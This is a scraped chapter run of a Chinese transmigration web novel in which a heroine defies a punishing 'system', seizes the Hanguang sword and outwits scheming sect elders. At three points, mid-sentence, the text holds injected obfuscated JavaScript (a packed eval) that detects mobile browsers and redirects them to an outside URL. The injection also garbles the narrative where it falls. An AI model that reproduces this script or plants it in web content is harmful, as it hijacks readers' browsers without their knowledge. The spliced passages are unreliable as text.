《反杀系统后成了宗门团宠》 1. 我今日就要拔剑 “滚!” 季明月捂着脸,听着眼前人的呵斥,她不可置信地看着闻絮。 “闻絮,你这个窝囊废,你疯了!竟然敢打我?” 季明月不服气,想上前还手,但随之而来的是闻絮的另一巴掌,季明月的整张脸瞬间像猪头一样肿起来了,显然对面的人使了很大的劲。 “师姐,你听不懂人话吗?这里是我的房间,请你滚出去。” 闻絮穿到了一本古早狗血小说中,原主因为小时候救过男主明舟一次,成了男主心中的白月光。 这个角色在书中就是个受尽欺负的窝囊废,最后还因为替男主偷盗寒光剑受天道雷刑,在男主怀里咽了气。 闻絮看着脑中原主的经历,她骂不还口,打不还手,没有朋友,没有家人,受了委屈就自己一个人躲起来哭。 因为身体不好,也没有修炼的体质,还要日日被人嘲讽,就是不受雷刑也活不了多久吧。 闻絮被要按照原书中的剧情来,替男主偷盗寒光剑,成功后她就有一定的几率可以回家。 闻絮不是傻子,有一定的几率,这种潜台词基本都是没戏。 闻絮对完成任务没兴趣,但系统一再对她下通牒威胁,她最讨厌别人威胁自己,所以专和系统反着来。 但炮灰的命运不是那么好改的,就比如现在,她做了和剧本人设窝囊废不符的动作,眼前立马弹出红色警告框:警告!警告!宿主人设崩塌,惩罚,惩罚! 闻絮忽然感觉到心口一阵刺痛,整个心脏像被一只无形的大手揪住揉成了一团,她感到呼吸不畅,心口揪起,脸色逐渐变得苍白。 闻絮的身体支撑不住,只能慢慢蹲在地上,右手紧紧捂着胸口,试图缓解疼痛。 仅仅几秒钟,闻絮已经面色苍白如纸,额头上的冷汗如泪水一般直流。 季明月被这画面吓了一跳,也顾不得算账了,拖着裙子就跑出屋子,嘴里还在嘟囔着,“你这个扫把星,你要死也等会再死,不干我的事啊。” 闻絮没有功夫搭理季明月,她现在快要痛死了。 但下一秒,这种窒息感很快消失,闻絮无力地坐在地上,大口喘着粗气。 她看着眼前又出现的红字,“请宿主继续维持人设,潜伏于玉清山中,等待三个月后宗门大比之时,替男主明舟拔出寒光剑,违反设定将再次受到处罚!” 闻絮冷眼看着眼前出现的字,不屑地冷哼一声,什么窝囊废剧本,今日她就把这剧本撕烂了。 但她面色如常,没有异常,默默点了点头。 任务一:替宗门内弟子打扫房间。 闻絮也不啰嗦,看了任务抬脚就走,她脑中有原主的记忆,对玉清山已经是了如指掌。 一路上也没什么阻碍,其余弟子现在都在练功,只有她这个被看作窝囊废的人来做杂役。 闻絮凭记忆打开左手边的一间房,是那个克扣原主饭食的大师兄的房间。 她随手拿起一个花瓶看了看,“花纹不错。” 下一秒“嘭”的一声,花瓶被砸了个粉碎。 桌上抽屉里放着的玉佩,“啧啧啧,质地不错。” 清脆一声,被摔碎了。 卷筒里放着的名画,“画得也好。” 刺啦一声,名画被她剪成了一团废纸。 “警告!警告!宿主严重违反人设,即将惩罚,即将惩罚!” 这次的惩罚明显比上次还重,闻絮猝不及防吐出一口血来,胸口仿佛被雷击一般。 闻絮不受控制地倒在地上,久久没有能起身。 她整个人倒在一室狼藉之中,忍受着每次呼吸带来的痛。 “系统,你大爷!” 痛是真痛,但不服还是不服! 闻絮拿起脚边掉落的废纸,擦了擦嘴角的血。 踉跄了几次之后,闻絮还是成功站了起来。 她翻找了一通,最后终于在一个抽屉的角落里找到了一个粉色的瓶子。 瓶子里面装了七颗圆润的丹药,闻絮想了一下,给自己倒了一杯水,把七颗丹药都吞了下去。 这是原文中玉清山掌门费劲心力炼制的大补丹,被他的大弟子偷偷调换,只是二人都还没来得及吃,就被“闻絮”偷来送给了男主。 药既然是好东西,那就自己吃了好了,一颗也不留。 这药有点效果,闻絮感觉自己胸口的疼痛减轻了几分。 此时她的脑中又开始响起系统的声音,“宿主请继续完成任务,任务二:打扫山中库房,擦拭库房宝物。” 闻絮又在房中喝了杯水之后,又起身出发了。 只不过刚走出去没两步就碰到了一个男人。 她定睛一看,是一直以来看原主貌美,想占原主便宜的四师兄。 男人一看是闻絮,眼神瞬间变得淫邪起来,他挡在闻絮前进的路上。 “师妹几日不见越发漂亮了,怎么见了师兄也不问好,我们二人可别生分了。” 他看闻絮目光不似往日闪躲,更加变本加厉地要去拉闻絮的手。 闻絮笑盈盈看着他,“好啊,那我们就熟络熟络。” 闻絮脚下蓄力,小腿蹬地,一击即中,给男人的裆部狠狠来了一脚。 男人没有防备,一脚被踢中要害,裆部一阵酸爽剧痛,疼得倒在地上眼泪直流。 “师兄,山下母猪快到配种的季节了,你要是有需求,可得抓紧时间了。” “你这个贱女人……”趁他双手捂着裆,闻絮抓了一把土扔进他嘴里,耳边瞬间清静了。 但很快惩罚再次降临,不知道是不是吃了那丸药的效果,闻絮这次并没有感到很疼。 但接连几次的惩罚,闻絮已经面色惨白,但还是咬着牙继续向前走,走到库房门口时,她身上的衣服已被汗水湿透。 她嘴角的血迹还未干,手心也已经掐出血印,但眼神依旧是不服气。 不就是擦宝物吗?我给你擦个够! 闻絮看着旁边一盆的清水,将从大师兄房里拿走的化铁丹,一股脑倒了进去。 闻絮又从旁边的地上摘了几株草,用叶子沾上水之后开始向宝物挥洒。 “悬空镜,好东西,我多撒几滴。” “丽九扇,也是好东西,多撒点。” “千羽箭,看着就不错,也来点。” 不一会儿的功夫,闻絮把库房里尽数的宝物撒上了化铁水。 闻絮看着这些物品上慢慢出现腐蚀的痕迹,有一些未曾腐蚀的宝物,表面也多了锈迹。 “三,二,一。” 闻絮在心里默念,开始替系统计时。 系统:“惩罚!惩罚!” 闻絮仿佛已经习惯了,对这次的疼痛丝毫不在意,无非一些皮肉之苦。 大概是刚刚吃的丹药有奇效,这次闻絮一点痛感都没有了。 不痛是不痛了,血还是要吐的。 闻絮看着滴在衣服上的血,略有些心疼,算了,日后多吃些猪肝补补就是了。 现在她确定了一件事,她死不了,起码在她完成偷盗寒光剑的任务之前死不了,系统不会让她死的。 但任务完成之后,她一定会像一枚弃子,无声无息地消失。 她最多就是一本书前传的一个炮灰人物,正文剧情和她没有半毛钱关系。 她可以死,但绝对不可以死在这座山上,死在这个破系统的手里,她的命,自己说了算。 闻絮拿走了库房的几块留影石,走出库房,径直向后山的玄冰洞走去,寒光剑需要寒气滋养,一直锁在后山,且三百年来一直无人能拔出。 要想拔出来倒也不是有多难,只是那天雷之劫无人受得住,试图拔出的人无一可以受完雷刑,要么重伤,要么惨死。 闻絮体质特殊,于修炼不易,体内几乎没有灵力,却也阴差阳错成了拔剑最合适的人选。 “系统,我今日就要拔剑。” 系统提示:未到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416391|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最佳拔剑时机,请宿主遵守规则! 闻絮:“我是通知你,不是和你商量。而且,你控制不了我,对吧?” 系统沉默了,没有再弹出字来提示闻絮。 闻絮通过这几次的试探已经摸清系统,这个系统不像她看过的那些小说一样传神,可以控制她的身体。 它只能通过实施惩罚来限制自己的行为。 既然最终都逃不过必死的结局,早拔剑晚拔剑都得死,那不如抢先一步。 闻絮把刚刚的粉色瓶子清理干净,在里面装满了化铁水。 她又从库房挑了一把锋利的匕首,塞在了衣袖之中。 随即闻絮踏上了去后山的路,一路上也如刚刚一般,并无阻碍。 玉清山掌门并未派人特意守着玄冰洞,曾经另一大宗门曾派出半数弟子护法,也未能成功拔出,自然也不相信山中的弟子可以拔出。 但是洞前被他设了禁制,闻絮什么法术都不会,破不了这个禁制。 “系统,你来,破了这个禁制,我要进去。” “再次提示,未到最佳拔剑时机!” 闻絮眼神暗淡了一瞬,明显是对系统不满意。 下一秒,禁制被解除,洞口一阵白雾散开。 闻絮还未靠近,就看到空气中飘出的寒气,在夏日的空气中更加明显。 闻絮向前走了一步,刚开始还觉得一丝舒适的冰凉。 但随着她又向前走了几步,寒气更加逼人,闻絮的睫毛上开始挂上了冰霜。 闻絮看着满山璧的冰柱,她不禁有个想法,到时候天雷来了,这玄冰洞的冰大概也会全部融化,这里岂不是成温泉了? 闻絮穿得略有些单薄,她不由得加快了步子,走到洞中心的时候,温度反而有一些回升。 玄冰洞内部不是很大,也没有放置其他的武器,就只有洞的最中央,一个像酷似火山口的地方,中间插着一把剑。 闻絮灵力不多,受剑气威压不明显,她很轻易地就走到了中间。 她仔细看了看这个“火山口”,并没有什么独特之处在。 闻絮先伸出手试了试温度,除了有点冷也没有什么特别的感觉。 这下她懂了为什么一定要她来拔剑了,书中曾写过,从前想拔出寒光剑的人,光是靠近就已经感到寒冷难耐了,自己居然毫无感觉。 大概这就是书中所写的天选之人。 闻絮试探性地把右手放在剑柄之上,开始施加力气。 她感受到寒光剑有一丝松动,手臂于是更加用力。 随即闻絮感觉到一种落空感,剑似乎被从底座之中拔起来了。 玄冰洞外原本的烈日开始变阴,阳光逐渐消失,天色也阴得可怕。 “轰”一声炸雷,猝不及防,闻絮被吓了一跳,骤然松开了手,寒光剑再次回到原位。 闻絮皱着眉看了看外面的天色,撕了袖口的锦带,揉成小团塞在耳朵里面。 纯棉的应该隔音效果还不错。 闻絮再次把手放在剑柄之上,这次比上次更加费力一些,下面的吸引让闻絮不得不双手握住剑。 闻絮右脚抵在“火山口”上,左脚尖抵在右脚后面用来稳住身体。 随着剑身再一次被拔出,洞外再一次响起了雷声,闻絮不予理会,继续手上的动作。 剑身拔出一半的时候,闻絮看到一股闪电劈入洞中,她小跳了了一小步,手上力气没有放松,那道闪电就劈在了她的脚边。 闻絮意识到必须尽快拔出,不然她现在就是一根避雷针,马上就会被劈焦的。 闻絮继续手上的动作,一道道雷电继续劈着,有几道闪电劈在了她的衣服上,她立马闻到了头发烧焦的味道,嘴角开始渗血。 剑体还剩最后一小截未拔出的时候,又一声炸雷在闻絮耳边传来,她侧眼一看,外面的天空亮了一瞬间。 不好,是威力最大的雷劫来了,要是挨这么一下,不死也得残了。 2. 不好意思,我是骗你的 系统还是毫无动静,看来是真的要让自己去死,那闻絮只好逼它一把了。 她空出左手,拿出化铁水威胁系统,“你帮我挡住雷劫,否则我就毁了这把剑。” 系统终于出现,但依旧无视闻絮的警告:没用的,寒光不是普通的剑,化铁水毁不掉的。 话音刚落,又一道雷劈在闻絮腿边,她闪身躲过,一边要拔剑,一边要躲雷,闻絮的体力快耗尽了。 眼看系统也不那么好糊弄,她随即丢了瓶子,拿出匕首。 系统哼笑一声:不要妄想用自杀来威胁我。 闻絮也冷脸一笑:“谁说我要自杀了?” 闻絮将刀尖对准自己的手指,“你想清楚了,我的血若滴在这剑上,一会儿我拔出剑,它认我为主,任务可就失败了。到时候我死不要紧,带你一起也不错。” “轰!”又一道雷劈入洞中,闻絮冷不丁挨了一下,手臂上白色的衣服渗出丝丝红色的血迹。 闻絮看着头顶玄冰洞破开的口子,最后一道天雷从这劈下,自己绝对躲不开。 自己现在是在完成原书夺剑的剧情,系统也无法降下惩罚,这是最好的机会。 她要赌,赌系统不敢让任务失败,赌自己绝不会死在这里。 迟迟没等到系统的回答,先一步来的,是天雷。 霎时整个玄冰洞中亮如白昼,洞璧上的冰柱受热也开始纷纷脱落,天边一抹白光正在火速坠落。 闻絮心想:若赌不对,拔出寒光剑,它的力量也可以抵挡一部分天雷。 于是她睁着眼睛,用尽最后一把力气,继续拔剑。 天雷到达洞顶的时候,一圈蓝色的光环严严实实包围住了闻絮。 闻絮看着周身的光圈,眼角笑意流出。 赌赢了。 蓝色光环死死护住了她的身体,闻絮也借此机会一举拔出了寒光剑。 骤然间闻絮感觉眼前一片亮白,看不清周围的东西了。 “轰!” 炸雷的声音响彻耳畔,一声大过一声,闻絮有一瞬间的失聪。 身边狂风袭来,像要把她卷出洞外。 但她还是死死抓着剑身,借着锋利的剑身割破了自己的手心,血液顺着流在剑身之上。 血液流经剑身的纹路,屡屡金光在剑体闪过,寒光剑被拔出,遇血自动认主。 寒光剑,归闻絮所有了。 等到周围的光线恢复,系统看清了闻絮流着血的手和剑锋上流下来的滴滴血迹。 系统:你干了什么? 闻絮:“不好意思,我刚刚是骗你的,现在,寒光剑是我的了。” 闻絮的手上的伤口还在流血,一滴一滴落在地上,她脚下立足之地顷刻间化为血染之地。 闻絮从头到尾都没有想过要完成剧情,什么窝囊废,她来了这里,当了这具身体的主人,她就不再是窝囊废了。 试探出系统在任务没完成之前不会让自己死的那一刻,她早已有了想法。 既然天雷躲不过,那就别怪自己利用系统来保护自己了。 系统:你这个疯子,你居然利用我? 闻絮:“你不是也利用我走剧情吗?何必这么生气。” 这次闻絮没有等到回答,她的眼前开始飞快闪过一串串运行中的代码。 “系统错误,系统错误,无法修正错误,系统脱离,系统脱离。” 闻絮听着耳边机械的女声重复着这几句话,随即她感觉脑袋一空,有什么东西脱离了自己的身体。 “系统任务失败,抹杀身份,宿主任务失败,永远不能离开此世界。” “嗯,知道了。” 闻絮淡定地应了一声,这个没用的系统终于下线了。 她还来不及擦拭自己嘴角的血渍,玄冰洞内已经涌入了一群人。 为首的就是玉清山的掌门——季空山,他一脸不可思议地看着闻絮。 三百年来都无人可以拔出寒光剑,就连自己也因为尝试拔出而受了重伤,现在也依然元气大伤。 闻絮这个没有天分的废物,居然可以拔出寒光剑,还能毫发无损地站在这里。 “不可能,这绝对不可能,你怎么能拔得出来呢?” “说,是谁暗中帮了你?凭你自己,绝对拔不出来!” 季空山的声音一声比一声大,旁边的弟子也忍不住捂住了耳朵。 闻絮看着季空山,没有回答,然后慢条斯理地从耳朵里拿出堵着的布。 “你刚刚是在和我说话吗?我没听到,再说一次。” 闻絮满不在乎的语气惹怒了一旁的弟子,“闻絮,你这个小孽畜,如此不敬师长,怎么敢这么和掌门说话?” 闻絮看了一眼说话的男人,不认识,大概是个书中无名无姓的npc。 平日唯唯诺诺,他也只敢在这个时候欺负无依无靠的闻絮。 季空山稍微冷静了一点,装出一副和善的样子。 “闻絮啊,师父刚刚是问你,你是自己将这把剑拔出来的吗?是不是有人暗中帮了你呢?” 闻絮看了看人群之中,那个被自己踢了裆的四师兄还不在,那就好办了。 “对啊,刚刚我在仓库擦拭宝物,四师兄拦住我让我将寒光剑拿出来一并擦拭,晚上要送到他房中去,不然今晚他就要把我锁在寒冰洞中。活活冻死我。” 闻絮转身回去捡起刚刚扔在地上的瓶子,“还有这个瓶子,也是师兄给我的,说是吃了里面的丹药就可以安全拔剑了。” 季空山看着眼前的瓶子大惊失色,他急忙接过来一看,这瓶子不是自己用来装大补丹的瓶子吗? 这是他收集了天下奇花异草炼制的大补丹,吃了以后修为会大有进益。 一颗可以助人增加二十年的修为,里面一共有七颗,他刚刚才炼制完成,自己还没有舍得吃一颗,就被这个孽徒给糟蹋了。 “来人,季林这个孽障在哪里?把他给我抓过来,我倒要看看他偷取大补丹,唆使人盗走寒光剑到底想干什么?” 余怒未消,季空山看着闻絮,大补丹也是让这个不懂事的孽畜糟蹋了,还不如喂狗呢! “闻絮啊,里面七颗丹药你都吃了吗?” “没数过,他给我,我就都吃了。” 季空山痛心疾首,最后一丝希望也破灭了。 大补丹没了不要紧,寒光剑已经被她拔出来了,现在更要紧的是把寒光剑夺过来。 “孩子,你过来,我给你把把脉,你拔了剑身体肯定会有所受损,师父也好给你疗养疗养身体。” 闻絮站在原地没动,“掌门往日不是不让我叫您师父吗?而且掌门好像也没教过我东西,怎么能称作是我师父呢?” 季空山堆起一脸假笑,“孩子啊,别说胡话,玉清山所有弟子都是师父的弟子,你自然是得叫我一声师父。至于教习,师父往日太忙,无暇顾及你,是师父疏忽了,日后师父一定日日亲自教习你。” 闻絮也摆出一个假笑,“好啊,谢谢师父。” 闻絮明明在笑,季空山却感到一丝莫名的诡异,大概是不习惯这玄冰洞中的温度,被冻着了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416392|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 闻絮提着寒光剑走到季空山身边,他自然地拿过剑,摸上闻絮的手腕。 他惊奇地发现,闻絮体内此时居然有着充裕的灵力,而且她最开始上山时受损的经脉也被修复好了。 季空山再次心痛,他的大补丹连这样一个榆木疙瘩都能救活,要是自己吃了,不知道功力会进益多少。 “孩子,你的身体并无大碍,这剑贵重无比,师父就先收起来了,你四师兄也已经被为师派人抓了,你尽管放心休息。今日你也累了,早些回去歇息吧。” “好的,师父。” 闻絮心中暗骂:道貌岸然的伪君子,这个时候知道自己是师父了。 至于寒光剑,暂且就现在他那里放着,她期待季空山看到寒光剑已经认主的表情。 一定十分精彩。 入夜,又有人敲响了闻絮的门,如果她没猜错的话,是名义上她所谓的大师兄——季青澜。 闻絮刚打开门,就被一双有力的手掐住了脖子,“好一个弱不禁风的小师妹,连我差点都骗过去了。说,我的大补丹是不是你拿走的?” 经过一个下午的休息,那大补丹已经尽数被闻絮吸收,她如今的身体已经不是往常那副虚弱的身体了。 闻絮掌心蓄力,轻轻一推,就把季青澜推倒在地了。 “师兄,说话客气一些嘛,别这么不要脸,什么叫你的?那不是你偷来的吗?” 季青澜想要起身,却被闻絮一脚踩住了手掌,更令他愤怒的是,自己居然挣脱不了。 “你有什么资格说我?你不也是从我房里偷拿的吗?” 闻絮撤开脚,被她踩过的手背已经通红,这怪不了闻絮,她确实没怎么使劲,这大补丹作用还是太强了。 她蹲下身子,直视着季青澜愤怒的眼睛,“师兄的嘴还是那么臭,不是你每日让我去你屋子打扫的吗?我只是恰好发现了而已,怎么能说是偷呢?” “我呸,你这个贱女人,我让你打扫屋子,让你偷东西了吗?” 这句话一说完,闻絮一巴掌就扇了过去。 “师兄,我提醒过你,你说话太难听,怎么不长记性呢?现在怎么办,你可是被贱女人扇了一巴掌,这脸怕是不能要了吧?” 说着闻絮起身,换了一直脚踩在了季青澜的另一只手上,这次比上次更加用力,疼得季青澜嗷嗷直叫。 “师兄,你不应该感谢我吗?我今日可是没有说出你的名字,听说四师兄的修为已经被废了,已经被赶下了山。要是师兄再来惹我,你猜猜我告诉师父药是你拿的,师兄的修为还能保住吗?” 季青澜脸上青筋暴起,“闻絮,你敢!” “我没什么不敢的,师兄放心,若有我死的一日,一定带着你一起,阴曹地府你我还做师兄妹。” 季青澜看着眼前的女子,与以往判若两人,“你到底是谁?你不是闻絮,对不对?你是谁?” “师兄疯了,又开始说笑了。”闻絮又给了季青澜一巴掌。 季青澜不敢再言语,他苦心孤诣谋划的一切,都被闻絮这个贱人毁了,他一定要让闻絮付出代价。 “师兄说完了吗?说完可以从我房间里滚出去了。师父让我今日好好休息。” 房间门一打开,季青澜就连滚带爬地出去了。 闻絮看着他的背影一脸嫌弃,什么大师兄,就是年纪比较大而已吧。 自己不过是用往日他对原主的方法对付回去而已,这就受不了了。 但他不是最要紧的,算算时间,季空山也该发现了,快到自己表演的时候了。 3. 人若犯我,我就让他生不如死 “寒光!” 闻絮的声音一出,寒光剑感受到召唤,从季空山的房间内飞出。 季空山一脸惊慌,但还是一路跟着寒光剑的踪迹,最后停在了闻絮的房门前。 他没看错的话,寒光剑刚刚是从闻絮的窗户进去了。 来不及多思考,他拍响了闻絮的房门,“闻絮啊,你睡了吗?师父有事找你,快给师父开门。” 闻絮把寒光剑放在桌上,起身开了门。 “师父,怎么了?这么晚过来有事吗?” 季空山从门缝往里看,一眼就看到了在桌上的寒光剑。 他一把推开闻絮,三两步跨进屋内,一把握住了寒光剑。 只是寒光剑此时周身冷气弥漫,季空山一握住剑,就立马被冷气所伤。 他被迫放开剑,后退两步远离桌子。 闻絮看向他时,他的眼眸阴郁晦暗,令人生怖。 “孩子啊,师父问你,这寒光剑白日我带走了,现在怎么会在你这里?” 季空山把手放在闻絮的肩膀上,闻絮感到自己的后颈处一股冰凉。 “我不知道啊,师父,你一来这剑就出现了。” “是吗?” 季空山的手还是没有拿开,却扯下了闻絮的一根头发。 闻絮吃痛一声,季空山却放开了放在闻絮身上的手,将那根她的头发收入了袖中。 他又摆出了一副慈祥和蔼的笑容,“没事,孩子,想来你也不知道,今日便早些休息吧。” 闻絮也回了一个假笑,目送着季空山带着剑走了。 这个老东西,终于忍不住要动手了。 季空山回到自己的房间,盯着闻絮的头发有些出神。 今日在玄冰洞中,他不是没看到寒光剑上的血迹,神器遇血认主不是什么秘密。 但不是什么人的血都有用的,只有和神器灵力相符,且神器认可的血液才可以。 今日寒光剑突然飞到闻絮屋中,摆明了它已经认闻絮为主。 她的血,她的身体到底有什么秘密在?能让她安然无恙拔剑,又让寒光剑认她为主? “这么好的东西,放在你手里岂不是可惜了?好徒儿,就当是你报答师父对你的栽培之恩了。等师父成为寒光剑的主人,逢年过节一定为你烧纸祭拜。” 闻絮的发丝被扔入香炉之中,炉中的蛊虫一点一点蚕食了发丝,最后发出一丝满意的喟叹。 “明天下午,我会让她来书房,你进入她的体内,到时将提炼的血珠给我。” 炉中的蛊虫缓缓点了点头,闭上眼睛继续沉睡。 季空山的蛊虫有一个特别的地方,可以吸收人的精血提炼成为血珠,被吸血的人暂时身体不会有变化,但会逐渐嗜睡,待到三月后,被吸血的人就会病入膏肓,逐渐形容枯槁,最后不治身亡。 但这个宝物也有一个致命的缺点,一旦失败,蛊虫死亡,饲养蛊虫的人会承受蛊虫的反噬作用。 这种反噬作用更加要命,无知无觉,等到三月一到,即刻毙命。 所以没有十足的把握,血虫不会被轻易拿出来用。 这是季空山鲜为人知的宝物,但不巧,闻絮是看过原著的人,恰好知道。 夜色渐渐深了,玉清山陷入了黑暗之中,整座山都寂静无比。 季青澜坐在屋内,看着面前的香炉,炉中放着另一只蛊虫。 他是季空山收的第一个弟子,和季空山很是亲近,但近年来因为资质略差,逐渐受到厌弃。 但他早年也在季空山的身边学到不少东西,就比如眼前的赤练血虫。 季空山养废的血虫被他捡了回来,养到如今,也是时候派上用场了。 第二日一大早,季青澜就敲响了闻絮的房门,“师妹,你在吗?” 闻絮慢悠悠地打开门,一副没睡醒的样子,“你有事吗?” 季青澜堆起一个虚伪的笑容,“师妹,昨日是师兄失言了,说的话你不要放在心上,我今日是给你送礼物赔罪。这是我从山下买的新衣裙,送给你。” 闻絮看了季青澜一眼,“师兄你别笑了,笑得太丑了,大早上有点恶心。” 季青澜面色有点不好,收起了笑容,“师妹,这是我花了大价钱买的,你就是不喜欢我,也把东西收了吧。” 闻絮再次抬头看了看季青澜,还挺能忍的。 原书里季青澜后期虽然不受掌门喜欢,但他一直忍辱负重,用计害死了几个和他竞争的师弟,最后当上了掌门。 现在他虽然面上带着笑,但眼底的寒意已经透过衣裙,直直透过闻絮的肌肤。 闻絮接过衣裙,接触的一瞬间她的手腕一阵剧痛,季青澜藏在衣裙里的蛊虫咬了闻絮一口,然后借伤口进入了闻絮体内。 季青澜听到闻絮的一声轻呼,嘴角笑意更盛,成功了。 他没有再多废话,转身离开。 闻絮看着季青澜的背影一声嗤笑,这个大师兄还真是一点都沉不住气。 既然他自己要寻死,那她就只好帮大师兄一把了。 闻絮关上自己的房门,去了季空山的书房。 闻絮一进门就先发制人,“师父,我来了。” 季空山面色很淡定,气色看起来还不错,他答应着:“好。” 他从暗格里拿出一个锦囊递给闻絮,“打开看看,孩子。” 闻絮打开袋子,里面是一颗夜明珠,“孩子,你昨日受了内伤,这个夜明珠可以帮你滋养身体,你平日要贴身带着,效果才好。” “谢谢师父。 锦囊的底部,季空山豢养的蛊虫爬出,进入了闻絮的身体。 闻絮感觉到一阵瘙痒,“师父,我的手腕有一点痒,我这是怎么了?” “大概是没休息好,你快回屋休息吧。” 闻絮安心地收下夜明珠,出门后没有回自己的房间,径直去了季明月的房间。 季明月已经醒了,她听到闻絮的敲门声没有理会,她心里认为闻絮已经是个疯子了。 确实没错,闻絮没有什么耐心,连敲了两声都没有人开门,闻絮一脚抬起踹开了房门。 季明月正坐在桌前,冷不丁被闻絮的动静吓了一跳,“闻絮你有病啊?” 闻絮也不多说,把手里的夜明珠拿出来,“夜明珠,没见过吧。” 季明月下意识点了点头,又觉得奇怪,反问闻絮,“你给我看这个干什么?” “没什么,就是给你看看。” 在季明月气愤的目光中,闻絮带着东西走出了季明月的房间。 她猜得没错的话,季空山还会和以前一样,马上就会让玉清山的弟子寻找夜明珠,找到盗贼然后借此机会把人赶下山,被吸了精血的人下山后不知不觉死去。 夜明珠的事情已经解决了,那接下来就是蛊虫的事情了。 闻絮的身体里现在有两只蛊虫,那她要看看是谁的蛊虫厉害了。 闻絮回到自己的房间,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416393|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把房门和窗户都关死,确保不会有人进来打扰自己。 她体内的两只蛊虫开始斗争了,季空山和季青澜养的赤练不是一种属性,蛊虫是需要主人的血来养的。 季青澜是火属性,季空山是冰属性,现在闻絮体内有两种对抗的力量。 闻絮经历着冰火两重天的考验,前一秒是浑身堕入冰窖的感觉,她不得不盖上被子,但依然不能阻止手脚开始冰凉。 下一秒突然有感觉烈焰焚身,整个人像是被放在火上炙烤,疼的感觉不是最要紧的,闻絮感觉皮肤麻麻的。 冰火交错的时候闻絮有些精神恍惚,她想起了自己以前的日子,那个被父亲抛弃的日子。 她的妈妈早就去世了,父亲养她到六岁,最后还是抛弃了她。 她被带到一个陌生的地方,那是一个很冷的冬天,她知道父亲是想冻死她,这样他就可以少一个累赘了。 在冻得马上失去知觉的时候,她看到脚边有父亲吸烟后扔掉的打火机,她捡起来想点火取暖。 但被雪浸润的打火机一直都打不着,她只能把打火机紧紧包在手里,直到她看到一丝希望的火焰在她手中燃起。 她的手已经冻僵,但火焰带来的灼烧又提醒着她,她还活着。 她不喜欢父亲吸烟,但没想到有一天自己也会依靠自己最厌恶的火机活着。 她后来被一个老奶奶捡回去,养到十二岁,老奶奶也去世了,她又成了孤家寡人。 她自己一个人活了几年,长到十八岁,觉得生活实在是没意思。 那天没有什么特殊的,她吃完了一个面包,觉得屋子特别冷,她在炉子里放了很多的碳,在屋子里睡着了。 那天做了很久的梦,梦里有她许久没见的妈妈,还有捡她回去的奶奶,那是一个幸福,温暖的梦。 闻絮身体的灼热感突然消失,她一瞬间如入冰窖,她也从回忆中清醒过来。 刚刚那个温暖的梦要是再长一点就好了。 她抬手抹了一把额头的汗水,喉咙一股瘙痒,她向地上吐出了一只蛊虫的尸体,看来是季空山更胜一筹。 不过闻絮也不打算放过他,她体内季空山的蛊虫还在,那让他和他的大弟子一起死好了,师徒两个路上也好作伴。 闻絮和寒光剑已经缔结了血契,寒光剑的力量也能为闻絮所用了。 闻絮用体内寒光剑气的威压将蛊虫逼在了体内的角落,蛊虫经过了刚刚和季青澜蛊虫的争斗,已经元气大伤,它无处可逃,但还是不肯出来,也没有那么容易杀死。 “嗜血蛊,爱血才是。” 闻絮嘴里念叨着,又用匕首划开了手掌,掌心的血液滴落在地上,滴答,滴答。 闻絮接着借寒光的威压逼蛊虫,蛊虫受到逼迫,又有剑气威压,从她手心的伤口爬了出来。 闻絮抬脚,狠狠用力踩了下去,蛊虫的尸体四分五裂,空气里还多了一股臭虫子的味道。 其实拿到寒光剑她本可以一走了之,但还是留了下来,陪他们演了这么一出戏。 闻絮也不知道自己在想什么,她不是什么正义感爆棚的人,但也许是看着原主和自己相似的遭遇,内心也有所不忍。 人不犯我,我不犯人,人若犯我,我就让他生不如死。 原来的“闻絮”不敢反抗,那这次她来,她是死过一次的人,什么都不怕。 两个世界的她,都是孑然一身,那既然这样,没有后顾之忧,想做什么就做什么。 4. 非死不得归 闻絮穿鞋下床,打开门,让空气流动起来,一股温柔的风吹进来,她的发丝被吹乱。 闻絮不禁有些迷茫,她在门前随意坐下,看着已经漆黑的天空,夜空中还有几颗稀疏的星星。 一滴泪悄然滴在她的脚边,这么多星星,是不是有一颗可以是为她亮着的? 奶奶说人死后会变成星星,要是闻絮想她的时候可以抬头看看星星,最亮的那颗就是她变的。 闻絮对着天空自言自语,“奶奶,这里一点都不好,我不喜欢这里,而且好痛,我来了这里一直吐血,应该变得更瘦了,你又该叫我多吃一碗饭了。” 夜风更加凉,闻絮的话散失在风中,没有等来回答,这个问题,一生都不会有答案了。 风继续吹,闻絮已经回到房间,今天早点睡,是不是还能在梦中看到想见的人? 就算是千万分之一的概率,她也想试一试。 此后的几日,她的日子一直很平静,也没有人来找她的麻烦。 她就一个人在屋内静静调息,不管是白天还是夜晚,每一瞬的呼吸,都感觉有丝丝灵力进入自己的体内。 